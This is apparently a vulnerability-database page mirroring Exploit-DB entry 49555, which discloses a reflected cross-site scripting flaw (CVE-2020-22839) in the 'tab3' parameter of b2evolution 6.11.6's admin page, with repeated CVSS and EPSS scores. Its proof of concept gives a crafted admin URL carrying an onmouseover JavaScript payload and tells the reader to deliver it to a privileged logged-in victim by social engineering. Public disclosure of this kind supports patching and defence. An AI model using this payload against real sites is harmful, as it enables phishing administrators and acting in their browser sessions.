Lucene search

K
exploitdbNakul RattiEDB-ID:49555
HistoryFeb 11, 2021 - 12:00 a.m.

b2evolution 6.11.6 - 'tab3' Reflected XSS

2021-02-1100:00:00
Nakul Ratti
www.exploit-db.com
254

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.002 Low

EPSS

Percentile

63.6%

# Exploit Title: b2evolution 6.11.6 - 'tab3' Reflected XSS
# CVE: CVE-2020-22839
# Date: 10/02/2021
# Exploit Author: Nakul Ratti, Soham Bakore
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux

--------------------------Proof of Concept-----------------------

Steps to Reproduce:

1. Send the following URL http://HOST/evoadm.php?.ctrl=comments&filter=restore&tab3=123%22onmouseover=%22alert(document.domain)%22&blog=1&blog=1 to the logged in victim using any social engineering technique.
2. When an unsuspecting user with high privileges opens this URL, XSS will be triggered  which will execute the malicious javascript payload in users browser.
3. The vulnerable parameter in this case is β€œtab3”.

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.002 Low

EPSS

Percentile

63.6%

Related for EDB-ID:49555